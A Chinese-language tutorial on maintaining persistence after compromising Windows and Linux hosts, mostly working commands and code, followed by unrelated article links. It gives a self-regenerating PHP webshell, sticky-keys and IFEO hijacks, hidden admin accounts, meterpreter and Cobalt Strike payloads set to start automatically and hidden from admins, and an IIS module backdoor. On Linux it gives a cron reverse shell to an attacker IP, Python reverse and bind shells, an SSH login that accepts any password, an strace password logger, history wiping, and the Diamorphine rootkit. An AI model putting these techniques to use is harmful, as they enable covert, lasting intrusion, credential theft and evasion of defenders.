权限维持篇

news2024/12/23 0:11:00

一、Windows

1、 不死马权限维持

1.1  概述
<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>
1.2  环境准备

1、Windows Server 2012

2、phpstudy

1.3  复现

1、上传到目标网站目录中,保存为 1.php,如果可以,可以把属性设置为隐藏,也可以设置为不可删除;

2、访问 1.php 文件,此时会自动生成 test.php 文件,除非重启 apache 服务器,否则 test.php 文件就算删除也会一直生成;

2、映像劫持技术

2.1  概述

通过在注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

路径下添加自定义的字符串值,然后添加路径。进行 exe 劫持

2.2  复现

1、访问 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options 路径,新建项,命名为 chun.exe,然后新建字符串值 ,改名为 Debugger。

2、双击,填入后门的地址,此处以 cmd.exe 为例:

C:\Windows\System32\cmd.exe

3、此时若用户访问任何以 chun.exe 命名的 exe 文件,那么将直接执行 cmd.exe,达到映像劫持的目的。

3、策略组脚本维持

3.1  概述

        在策略组脚本目录中上传脚本文件,内容是后门或其它,然后设置电脑每次重启都会运行该 exe 文件。

3.2  复现

1、进入以下目录:

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

2、创建 1.bat 文件:

@echo off
systeminfo >1.txt

3、设置开机自动运行:

(1)win + r 输入 gpedit.msc 打开本地策略组;

(2)顺序点击以下选项:

填入脚本路径

然后点击确定,重启计算机,脚本执行成功。

4、shift 后门

4.1  概述

        shift 连按五次后会弹出粘滞键界面,我们可以对这个快捷方式进行替换,替换成我们想执行的后门文件。

4.2  复现

1、在目录 C:\windows\system32\ 下找到 sethc.exe 文件,选中右键,点击属性;

2、点击安全,点击高级:

3、点击更改,点击立即查找,更改用户为管理员用户:

4、把权限设为全部允许:

5、执行以下命令(以 cmd.exe 为例)

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

6、 此时连按5次 shift 键就会执行 cmd.exe 了,达到劫持的效果

5、建立影子账号

5.1  概述

        建立账户后,通过一系列操作来使得账户隐藏

5.2  复现

1、先建立一个账户:

net user admin$ 123456 /add
net localgroup administrators admin$ /add

2、此时用 net user 命令,是看不到用户 admin$ 的

$ 使得 cmd 查询不到

3、但是可以通过以下途径看到:

(1)在控制面版中可以看到:

(2)在计算机管理下也是可以看到的:

接下来对他们进行隐藏。

4、操作注册表:

(1)win + r 输入 regedit 打开注册表

(2)进入 表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 目录

注意:此时若 SAM 目录看不到里面的内容,说明是没有访问权限,需要设置访问权限;

设置为如下图的样子:

 重新打开注册表,此时就可以正常查看 SAM 目录下的内容了

(3)观察下列数值是对应的:

(4)复制管理员用户 1F4 文件夹下 F 的内容

双击点开,右键,全选,复制:

(5)粘贴到 3ea 的 F 中:

(6)导出 3ea 和 admin$ 的配置文件,右键,导出:

命名为1

命名为2

(7)在计算机管理中,把 admin$ 删除

(8)双击运行刚才保存的文件 1 和文件 2

此时计算机管理界面中就没有 admin$ 的信息了

控制面板中也没有 admin$ 用户信息了

但是注册表中依然会有用户信息

6、powershell 配置后门

6.1  概述

        目的是每次启动 powershell 的时候会自动运行后门文件。

6.2  复现

1、检查 powershell 的配置文件信息:

echo $profile   // 输出配置文件的路径
Test-path $profile  // 用于指示当前用户是否有自定义的 PowerShell 配置文件。如果配置文件存在,则返回 True;如果不存在,则返回 False

2、如果返回 false 则创建一个:

New-Item -Path $profile -Type File –Force

3、添加后门路径:

$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

后门内容(这里以添加用户为例):

net user chun 123456 /add & net localgroup administrators chun /add

4、重启 powershell ,发现用户成功创建

7、Monitor 权限维持

7.1  概述

7.2  复现

1、下载项目:GitHub - Al1ex/Monitor: A old way to Persistence

2、把项目中 Release 文件夹下的 monitor.exe 复制到 C:/Windows/System32 目录下

3、使用 msf 生成 dll 后门:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7788 -f dll > test.dll
也可以使用 -o 指定保存路径
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7788 -f dll -o /tmp/test.dll

4、把 shell.dll 复制到 C:/Windows/System32 目录下

5、msf 开启监听:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.103.130
set lport 7788
exploit

6、运行 monitor.exe ,此时 msf 获取到 meterpreter

7、但是每次都要运行 monitor.exe 会很麻烦,所以要设置开机自启动,打开注册表,然后找到目录 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors ,执行 cmd 命令:

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

此时重启计算机,msf 就会自动上线了

8、利用安全描述符隐藏服务后门进行权限维持

8.1  概述

8.2  复现

1、使用 CS 上线:

(1)在 kali 中启动服务(运行 server 目录下的 teamserver):

(2)在物理机中 Client 文件夹下点击运行 cobaltstrike-client.vbs,输入账号和密码进行登录

(3)设置监听器,生成 windows 可执行文件,保存为 beacon.exe ,上传到目标主机的 C:\Users\Administrator 目录下

(4)运行可执行文件,发现上线成功

2、设置 beacon.exe 为自启动

使用 cmd 
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\Administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto
或
使用 powershell
New-Service -Name ".NET CLR Networking 3.5.0.0" -DisplayName ".NET CLR Networking 3.5.0.0" -BinaryPathName "cmd.exe /k C:\Users\Administrator\beacon.exe" -StartupType AutomaticDelayedStart

注意:服务名(.NET CLR Networking 3.5.0.0)可以自己自定义,但是必须要具有一定迷惑性

命令执行后,服务创建成功:

以上设置完成后,其实每次开机服务都会自动开启了。

也可以在任务管理器中右键手动开启服务,但是可以使用命令很轻松的查询到

(1)cmd 使用 sc query
sc query | finstr ".NET CLR Networking 3.5.0.0"

(2)powershell 使用 Get-Service  
Get-Service | finstr ".NET CLR Networking 3.5.0.0"

 3、在任务管理器中隐藏服务:

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

这是启动服务可以用如下命令:

net start ".NET CLR Networking 3.5.0.0"

4、但是如果管理员查看注册表,还是可能发现问题的

这时候就要对这些信息进行隐藏

(1)在 kali 中编辑 1.ps1 然后保存:

function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =
[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}

(2)开启 http 服务器:

sudo python -m http.server 5566

(3)远程执行 powershell 命令来下载执行 1.ps1:

powershell.exe -exec bypass -nop -w hidden -c "IEX((New-Object Net.WebClient).DownloadString('http://192.168.103.130:5566/1.ps1')); Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"

此时敏感信息就没有了

 9、IIS 后门

9.1  概述 

        在 IIS 网站目录里上传 DLL 文件,修改配置文件,达到权限维持的目的。

9.2  复现

1、工具地址:GitHub - WBGlIl/IIS_backdoor: backdoor

2、在 IIS 服务器中,一般在 C:\inetpub\wwwroot\bin 目录下会存放 dll 文件,所以我们先上传工具 /bin 目录下的 IIS_backdoor_dll.dll 到这个目录,可以对文件进行隐藏

3、上传 web.config 到 C:\inetpub\wwwroot 目录下,若 web.config 已存在,需要把下述内容按照情况加到 web.config 中

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <modules>
			<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
        </modules>
    </system.webServer>
</configuration>

 4、这时候直接访问服务器内的任意一个网站或任意一个文件(如 png,txt 等),打开工具 /bin 目录下的 IIS_backdoor_shell.exe ,输入刚才访问成功的网址,然后输入 cmd 命令即可成功执行。

 10、Windows 隐藏技术

10.1  概述

        用 Windows 隐藏技术把后门文件隐藏起来。

10.2  复现

1、最简单的隐藏,选中文件,右键 -> 属性 -> 勾选隐藏:

但是只要勾选了查看隐藏文件就可以看到了

2、使用命令进行深度隐藏:

Attrib +s +a +h +r webshell.aspx

这时候就算勾选了显示隐藏的项目也看不到了,还有一种方法是点击选项,把隐藏受保护的文件的勾去掉,这时候就可以看到被隐藏的文件了

11、驱动级文件隐藏

11.1  概述

11.2  复现

1、下载工具:Thank you for downloading Easy File Locker (64-bit) from CNET Download.com

2、点击 Add file 添加文件:

3、只保留一个勾:

这时候只能访问,不能修改,不能删除,也不可见

4、这时候如果我们是被害者,找不到文件,也找不到 easy file locker ,可以使用如下命令解决:

sc query xlkfs
net stop xlkfs
sc delete xlkfs

二、Linux

1、修改文件/终端属性

1.1  修改文件创建时间

1、概述:如果蓝队根据文件修改时间来判断文件是否为后门,如参考 index.php 的时间再来看shell.php 的时间,就可以判断 shell.php 的生成时间有问题(如创建时间相差巨大或最新创建)。

2、操作:

touch -r index.php shell.php

touch -r 用 index.php 的文件的属性来创建 shell.php ,这样两个文件属性就是一样的。

1.2  修改文件锁定

1、概述:在 Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,从而达到隐藏权限的目的。

2、操作:

sudo chattr +i test.php #锁定文件
rm -rf test.php #提示禁止删除
lsattr test.php #属性查看
sudo chattr -i test.php #解除锁定
rm -rf test.php #彻底删除文件
1.3  修改历史操作命令

1、概述:        

        在 shell 中执行的命令,记录在命令行历史中,可以用 history 命令查看,下面讲述如何开启无痕操作模式。

2、操作:

(1)技巧一,禁用历史记录:

[space]set +o history

        上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而,这个命令之前的所有东西都会原样记录在历史列表中。

恢复历史记录的命令:

[space]set -o history

(2)技巧二,从历史记录中删除指定命令:

history | grep '要删除的命令的关键词'
history -d 删除的命令的项数

(3)技巧三,批量删除历史记录:

sed -i '150,$d' ~/.bash_history

这是一个用于在 Bash 中编辑历史记录文件(~/.bash_history)的 sed 命令。
sed: 是流编辑器,用于处理和转换文本。
-i: 表示直接在文件中进行编辑(in-place)而不是输出到终端。
'150,$d': 是 sed 命令中的表达式,表示从第 150 行到文件末尾($ 表示最后一行)删除(d 表示删除)。
因此,这个命令的意思是:从 ~/.bash_history 文件的第 150 行开始,一直删除到文件末尾的所有行。在 Bash 中,~/.bash_history 文件通常用于存储用户的命令历史记录。

1.4  password 写入

1、概述:

(1)使用命令 cat /etc/passwd 时,各部分的含义:

补充:如果不知道哪些是用户,可以使用命令:cat /etc/passwd | grep bash

用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
root:x:0:0:root:/root:/bin/bash
web2:x:1000:1000:web2,,,:/home/web2:/bin/bash

(2)使用 cat /etc/shadow 命令

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用root:$6$6.imW5Ld$qNRtolNQ3MShopajilTqD89NmsGpVDKE08.Hno.ac6/nfbXia3HBjZT6r7/WtC3CoUUCRfDwOF2cFpKLORYk81:18920:0:99999:7:::
web2:$6$mXlE4pZ9$b0njm2mozkJu2851SUHDgKNhN3LIQhYa/cL8yUEO26n1tmiJTLwZN1sEyoiD074IPhrHkCVzAwQvIulBM0.0z0:18920:0:99999:7:::

2、操作:

(1)生成加密后的密码:

perl -le 'print crypt("passwd","salt")'

这个 Perl 命令用于生成一个加密过的密码哈希。具体而言:

  • perl: 启动 Perl 解释器。
  • -le: 是命令行选项,表示在每行末尾添加换行符(line ending)。
  • 'print crypt("passwd","salt")': Perl 表达式,使用 crypt 函数生成密码的哈希值。其中,"passwd" 是要加密的密码,"salt" 是用于加密的盐值。

(2)创建管理员用户:

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

创建成功

这时候也可以用 ssh 进行远程连接:

ssh m123@192.168.103.174

2、suid 后门

2.1  概述

        在 root 权限下创建 suid 权限的可执行程序,普通用户执行可执行程序后权限就会提升为 root;

2.2  操作

1、创建 suid 权限的文件:

cp /bin/bash /tmp/test
chmod 4755 /tmp/test
ls -al /tmp/test

2、执行可执行程序:

./test -p

3、查找具有 suid 权限的文件,不一定非得是 bash:

find / -perm -u=s -type f 2>/dev/null

3、SSH 后门

3.1  SSH 软链接后门
3.1.1  概述

        软链接后门的原理是利用了 PAM 配置文件的作用,将 sshd 文件软连接名称设置为 su,这样应用在启动过程中他会去 PAM 配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测 uid=0 即可认证成功,这样就导致了可以使用任意密码登录:

3.1.2  操作

(1)创建软链接:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

(2)远程 ssh 登录:

ssh root@q192.168.103.174 -p 12345

密码随便输入就能连接成功了

3.2  SSH 公钥免密码登录
3.2.2  概述

        保存服务器的公钥直接

3.2.2  操作

1、在服务器中生成公钥和私钥,注意要在管理员权限下生成:

ssh-keygen -t rsa

2、在服务器中保存生成的公钥:

cd ~/.ssh
cat id_rsa.pub > authorized_keys

 

3、 在服务器中复制得到私钥 id_rsa 的内容:

cat id_rsa

4、在客户端中保存为 id_rsa 并设置权限:

vim id_rsa
chmod 600 id_rsa

5、远程进行 SSH 连接:

ssh -i id_rsa root@192.168.103.174
3.3  SSH keylogger 记录密码
3.3.1  概述

        当前系统如果存在 strace 的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的目的,只能监听本地的连接操作。

3.3.2  操作

1、修改 .bashrc 文件:

(1)打开编辑 .bashrc
vim ~/.bashrc
(2)添加以下内容
alias ssh='strace -o "/tmp/pwdlog_$(date +"%Y%m%d_%H%M%S")" -e read,write,connect -s 2048 ssh'
(3)重新加载.bashrc
source ~/.bashrc

2、登录 ssh:

ssh root@192.168.103.172

3、查看生成的 log 文件:

cat log | grep password

4、Ubuntu 利用 Cron 机制安装后门
4.1  概述

1、Cron 是 ubuntu 下默认启动的用户执行计划,它会按照设置,在固定的周期或者按照一定时间执行某一个任务。

2、它是一项服务,你可以使用基本的服务查看状态命令等查看信息:

service cron status

3、 查看普通用户的计划:

crontab -l

 4、编辑计划:

crontab -e 
4.2  操作

1、设置 Cron 设置反向 shell ,每小时执行一次:

(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.103.130/7788 0>&1';\r%100c\n")|crontab -

2、攻击主机进行监听:

nc -lvnp 7788
5、 vim python 拓展后门
5.1  概述

        适用于安装了 python 和 vim 的 linux 系统

5.2  操作

1、编辑后门文件:

(1)正向后门( 下面的操作用正向连接来举例):

from socket import *
import subprocess
import os

server = socket(AF_INET, SOCK_STREAM)
server.bind(('0.0.0.0', 5566))
server.listen(5)
print('waiting for connect')
talk, addr = server.accept()
print('connect from', addr)
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

(2)反向后门:

import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.103.130", 5566))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])

(3)隐藏连接时的输出:

(nohup vim -E -c "py3file 1.py"> /dev/null 2>&1 &) && sleep 2 && rm -f 1.py

(4)使用命令查看 TCP 连接进程:

netstat -anpt

(5)这时候可以进行正向连接了:

nc 192.168.103.174 5566

(6)但是由于进程中可以看到 vim 的进程,所以需要进行隐藏,为了方便演示,这里就先不删除文件了,所以隐藏输出的语句变成了:

nohup vim -E -c "py3file 1.py"> /dev/null 2>&1 &

执行指令

(7)隐藏进程的操作:

         mount --bind 命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个 目录的访问,并且会将前一个目录路径隐藏起来

netstat -anpt

mkdir null
mount --bind null /proc/3128
netstat -anpt

隐藏成功 ,这时候也可以进行连接:

ssh 192.168.103.174 5566

补充(取消挂载):

(1)查看挂载记录:

cat /proc/$$/mountinfo

(2)删除挂载:

sudo umount /proc/3128

6、inetd 服务后门

6.1  概述

        inetd 是一个监听外部网络请求(就是一个 socket )的系统守护进程,默认情况下为13端口。当inetd 接收到 一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的 这个 socket 交给那个程序去处理。所以,如果我们已经在目标系统的 inetd 配置文件中配置好,那么来自 外部的某个 socket 是要执行一个可交互的 shell,就获取了一个后门。

6.2  操作

1、查看目标主机是否有 inetd,若没有,就安装一个:

apt install openbsd-inetd

2、编辑服务配置文件:

(1)添加默认端口:

vim /etc/services

(2)添加服务内容:

woot 5566/tcp

 

3、编辑工具配置文件:

(1)打开文件:

vim /etc/inetd.conf

 (2)添加内容:

woot stream tcp nowait root /bin/bash bash -i

 4、启动 inetd:

inetd

5、远程主机进行正向连接:

nc 192.168.103.171 5566

7、协议后门

7.1  概述

        在一些访问控制做的比较严格的环境中,由内到外的 TCP 流量会被阻断掉。但是对于UDP、DNS、ICMP 等相关流量通常不会拦截。

8、PAM 后门

8.1  概述

        上面提到的 sshd 软链接后门利用的 PAM 机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c 打补丁的方式潜入到正常的 pam 模块中,以此来记录管理员的帐号密码。

9、Rootkit

9.1  概述

        使用 Diamorphine 进行权限提升

9.2  操作

1、下载工具:GitHub - m0nad/Diamorphine: LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64)

2、工具初始化:

(1)进入工具目录
(2)使用 make 指令,若未下载 make,使用 apt install make
(3)使用 insmod diamorphine.ko 命令

3、在普通用户下进行提权:

kill -64 pid号 指定某用户变成 root
kill -64 0

现在就是 root 权限了

4、隐藏进程:

隐藏进程 kill -31 pid号

5、隐藏模块:

隐藏模块 kill -63 pid号 
idmod 命令可以看到所有的模块名称

 6、卸载模块:

rmmod diamorphine

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1374410.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mysql——索引相关的数据结构

索引 引入 我们知道&#xff0c;数据库查询是数据库的最主要功能之一。我们都希望查询数据的速度能尽可能的快&#xff0c;因此数据库系统的设计者会从查询算法的角度进行优化。最基本的查询算法当然是顺序查找&#xff08;linear search&#xff09;&#xff0c;这种复杂度为…

C# FreeSql使用,基于Sqlite的DB Frist和Code First测试

文章目录 前言FreeSql 简单连接数据库服务不存在没装FreeSql.All装了FreeSql.All安装包选择 DBFirst安装命令行生成器生成Bat创建脚本 基于Sqlite的Code Frist文件夹自动导出到Debug目录Sqlite 数据库安装和创建Sqlite连接数据库自动增列增表测试增列删列改列名同名列改属性 Co…

【小黑嵌入式系统第十四课】μC/OS-III程序设计基础(三)——信号量(任务同步资源同步)、事件标记组(与或多个任务)

上一课&#xff1a; 【小黑嵌入式系统第十三课】PSoC 5LP第二个实验——中断控制实验 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站&#xff1a;人工智能 文章目录 1 信号量1.1 简介1.2…

Generalized Focal Loss论文个人理解

论文地址&#xff1a;Generalized Focal Loss: Towards Efficient Representation Learning for Dense Object Detection 论文解决问题 研究人员最近更加关注边界框的表示(representation)及其定位质量估计&#xff08;LQE&#xff0c;本论文中指的是IoU score&#xff09;&a…

加速你的数据库:公司中SQL优化的八大绝招

前言 SQL优化这个问题也是老生常谈了&#xff0c;很多都还是在八股文中了解到&#xff0c;那么公司里的SQL都是咋优化的呢&#xff1f;和八股文一样吗&#xff1f;下面&#xff0c;我将与大家分享我在公司里学到的SQL优化知识。SQL优化是提高数据库性能和减少资源消耗的重要一环…

金融行业案例分享 | 升级业务保障,HyperBDR助力巴西海通银行容灾上华为云

巴西海通银行通过HyperBDR成功将业务从本地VMware容灾上华为云&#xff0c;实现分钟级RTO&#xff0c;保障业务连续性同时优化容灾TCO。 项目背景 海通银行由海通证券股份有限公司控股&#xff0c;是一家受欧盟监管的银行&#xff0c;在葡萄牙里斯本注册成立&#xff0c;业务遍…

mysql定时备份shell脚本和还原

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言数据库备份分类mysqldump命令备份计划1.每日备份&#xff0c;保留30天备份文件2.每月1号备份&#xff0c;保留12个月备份文件 定时调度还原总结 前言 数据库备…

QT第1天

题目&#xff1a;点击按钮改变文字 需要增加一个count属性&#xff0c;并且只需要定义槽&#xff0c;信号函数已经内置好了 //widget.h#ifndef WIDGET_H #define WIDGET_H#include <QWidget>QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEclass Wi…

数据分析讲课笔记01:数据分析概述

文章目录 零、学习目标一、本次课程概述二、数据分析的背景&#xff08;一&#xff09;进入大数据时代&#xff08;二&#xff09;数据分析的作用 三、什么是数据分析&#xff08;一&#xff09;数据分析的概念&#xff08;二&#xff09;数据分析的分类1、描述性数据分析2、探…

抛弃安卓,追赶iOS,鸿蒙能否成为中国第二大系统?

据半导体行业观察机构Techinsights发布报告预测&#xff0c;从2024年起&#xff0c;鸿蒙Harmony OS将取代苹果iOS&#xff0c;成为中国市场上第二大智能手机操作系统。 鸿蒙系统&#xff0c;支棱起来了&#xff01;去年&#xff0c;华为前脚“复活”麒麟芯片&#xff0c;后脚宣…

天津大数据分析培训班 常见的大数据培训课程

大数据现在属于热门职业技能之一&#xff0c;不管是大学毕业生&#xff0c;计算机和数据相关专业青年&#xff0c;已经工作一阵的开发人员&#xff0c;运营小白&#xff0c;还是其他想进入这个行当的&#xff0c;可能还没有编程基础的转行人&#xff0c;都想尝试大数据行业&…

2024年人工智能有哪些证书可以报考呢?

由国家工信部权威认证的人工智能证书是跨入人工智能行业的敲门砖&#xff0c;随着人工智能技术的发展越来越成熟&#xff0c;相关的从业人员也会剧增&#xff0c;证书的考取难度也会变高。如果已经从事或者准备从事人工智能行业的人员&#xff0c;对于考证宜早不宜迟&#xff0…

C语言之扫雷小游戏的实现【含递归展开】

文章目录 前言一、扫雷游戏代码设计思路二、设计扫雷代码1.创建菜单函数2.实现9x9扫雷3.初始化棋盘4.打印棋盘5.随机布置雷的位置6.排查雷的信息7.递归展开 三、源码1.新建一个test.c源文件2.新建一个game.c源文件3.创建一个game.h头文件 前言 扫雷游戏是1992年发行的一款大众类…

银河麒麟v10安装前端环境(Node、vue、Electron+vite)

此帖子所提到的所有依赖包都是基于银河麒麟v10真机的arm架构包&#xff0c;如果是在windows上的虚拟机上 把依赖包换成x64的包即可&#xff0c;方法步骤都是一样 一.node安装 原始方法安装&#xff08;建议用第二种nvm方法&#xff0c;因为更简单&#xff09;&#xff1a; 1…

Salesforce生态系统2024年就业趋势

对于Salesforce专业人士来说&#xff0c;新一年的开始都是激动人心的。但2023年仍存在显著挑战&#xff0c;经济技术低迷导致裁员&#xff0c;以及Salesforce生态系统增长放缓等等&#xff0c;这些挑战将延续到2024年。 回顾2023年 2023年&#xff0c;Salesforce生态系统以及…

Navicat 技术干货 | 为 MySQL 表选择合适的存储引擎

MySQL 是最受欢迎的关系型数据库管理系统之一&#xff0c;提供了不同的存储引擎&#xff0c;每种存储引擎都旨在满足特定的需求和用例。在优化数据库和确保数据完整性方面&#xff0c;选择合适的存储引擎是至关重要的。今天&#xff0c;我们将探讨为 MySQL 表选择合适的存储引擎…

反向传播(Back Propagation)

目录 回归简单模型的梯度计算 反向传播计算图链式求导链式法则定理&#xff1a; Forward 前馈计算反向传播Back Propagation例子线性模型的计算图计算前馈过程反向传播过程&#xff08;逆向求导&#xff09; 练习 Pytorch中的前馈过程和反向传播过程Tensor 回归 简单模型的梯度…

C#基础:通过QQ邮件发送验证码到指定邮箱

一、控制台程序 using System; using System.Net; using System.Net.Mail;public class EmailSender {public void SendEmail(string toAddress, string subject, string body){// 设置发件人邮箱地址以及授权码string fromAddress "xxxxxqq.com";string password …

LORA的基本原理

本文将介绍如下内容&#xff1a; 什么是Lora高效微调的基本原理LORA的实现方式LORA为何有效&#xff1f; 一、什么是LoRA LoRA 通常是指低秩分解&#xff08;Low-Rank Decomposition&#xff09;算法&#xff0c;是一种低资源微调大模型方法&#xff0c;论文如下: LoRA: Low…

【漏洞复现】优卡特脸爱云一脸通智慧管理平台文件上传漏洞

Nx01 产品简介 脸爱云一脸通智慧管理平台是一套功能强大&#xff0c;运行稳定&#xff0c;操作简单方便&#xff0c;用户界面美观&#xff0c;轻松统计数据的一脸通系统。无需安装&#xff0c;只需在后台配置即可在浏览器登录。 功能包括&#xff1a;系统管理中心、人员信息管…